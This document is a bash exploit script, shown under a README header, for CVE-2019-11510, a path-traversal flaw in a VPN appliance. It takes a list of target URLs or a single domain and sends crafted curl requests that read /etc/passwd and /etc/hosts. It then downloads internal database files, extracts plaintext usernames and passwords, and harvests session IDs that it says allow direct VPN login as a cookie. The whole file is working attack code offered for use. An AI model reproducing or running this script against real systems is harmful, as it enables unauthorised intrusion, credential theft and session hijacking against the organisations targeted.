README.md
Rendering markdown...
#!/bin/bash
# Usage : cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.com/
# If you want to just verify the exploit and download /etc/passwd then use : cat targetlist.txt | bash CVE-2019-11510.sh --only-etc-passwd / bash CVE-2019-11510.sh -d https://vpn.target.com/ --only-etc-passwd
# You must have binutils installed, install it by apt-get install binutils
# Release Date : 21/08/2019
# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia
echo "=================================================================================
___ _ _ ____ ___ _ _
| _ \ _ _ ___ (_) ___ __ | |_ |_ / ___ _ _ ___ |_ _| _ _ __| |(_) __ _
| _/| '_|/ _ \ | |/ -_)/ _|| _| / / / -_)| '_|/ _ \ | | | ' \ / _' || |/ _' |
|_| |_| \___/_/ |\___|\__| \__| /___|\___||_| \___/ |___||_||_|\__,_||_|\__,_|
|__/ CVE-2019-11510
================================================================================="
##############################
if [ ! -d "output" ]; then
mkdir "output";
fi
##############################
while test $# -gt 0; do
case "$1" in
-d)
shift
DOM=$1
shift
;;
--only-etc-passwd)
shift
VER="yes"
shift
;;
*)
break
;;
esac
done
##############################
function checkexp {
UR=$1
URL=${UR%/}
curl --path-as-is -s -k "$URL/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" > c.txt
RE=$(cat c.txt)
if [[ $RE == *"root:x:0:0:root"* ]]; then
echo "$URL ---------------> Vulnerable"
URLDOM=$(echo $URL | sed -e 's|^[^/]*//||' -e 's|/.*$||')
if [ ! -d "output/$URLDOM" ]; then
mkdir "output/$URLDOM";
fi
echo "Writing all files to output/$URLDOM/"
echo Extracting /etc/passwd
mv c.txt output/$URLDOM/etc_passwd
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cat output/$URLDOM/etc_passwd
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if [ -z "$VER" ]; then
echo Extracting /etc/hosts
curl --path-as-is -s -k "$URL/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/hosts?/dana/html5acc/guacamole/" > output/$URLDOM/etc_hosts
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cat output/$URLDOM/etc_hosts
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo Downloading /data/runtime/mtmp/lmdb/dataa/data.mdb to extract plaintext usernames and password
curl --path-as-is -s -k "$URL/dana-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/" > output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb
echo Extracting Usernames and Passwords from /data/runtime/mtmp/lmdb/dataa/data.mdb
cat output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb | strings > output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.strings
cat output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.strings | sed -z 's/\n/pzipzipzi/g' > output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.strings.mod
cat output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.strings | grep "cn=" | cut -d ',' -f1 | cut -d '=' -f2 > output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.users
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
while read -r line; do
ST=$line"pzipzipzipassword@2pzipzipzi"
if grep -q $ST "output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.strings.mod"; then
LI="s/.*"$line"pzipzipzipassword@2pzipzipzi//;s/pzipzipzi.*//"
PASW=$(cat output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.strings.mod | sed -e $LI)
echo "User : $line | Password : $PASW"
echo "User : $line | Password : $PASW" >> output/$URLDOM/plaintext_user_pass.txt
else
echo "User : $line | Password not found."
fi
done < output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.users
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
rm output/$URLDOM/data_runtime_mtmp_lmdb_dataa_data.mdb.strings.mod
echo "Downloading /data/runtime/mtmp/lmdb/randomVal/data.mdb to extract sessionids, Use DSID=SESSIONID; as cookie to login directly into vpn"
curl --path-as-is -s -k "$URL/dana-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb?/dana/html5acc/guacamole/" > output/$URLDOM/data_runtime_mtmp_lmdb_randomVal_data.mdb
cat output/$URLDOM/data_runtime_mtmp_lmdb_randomVal_data.mdb | strings | grep randomVal | cut -b 10- | sort -u > output/$URLDOM/sessionids.txt
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cat output/$URLDOM/sessionids.txt
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fi
else
rm c.txt
echo "$URL ---------------> Not Vulnerable"
fi
}
##############################
if [ -z "$DOM" ]; then
while read x
do
checkexp $x
done
else
checkexp $DOM
fi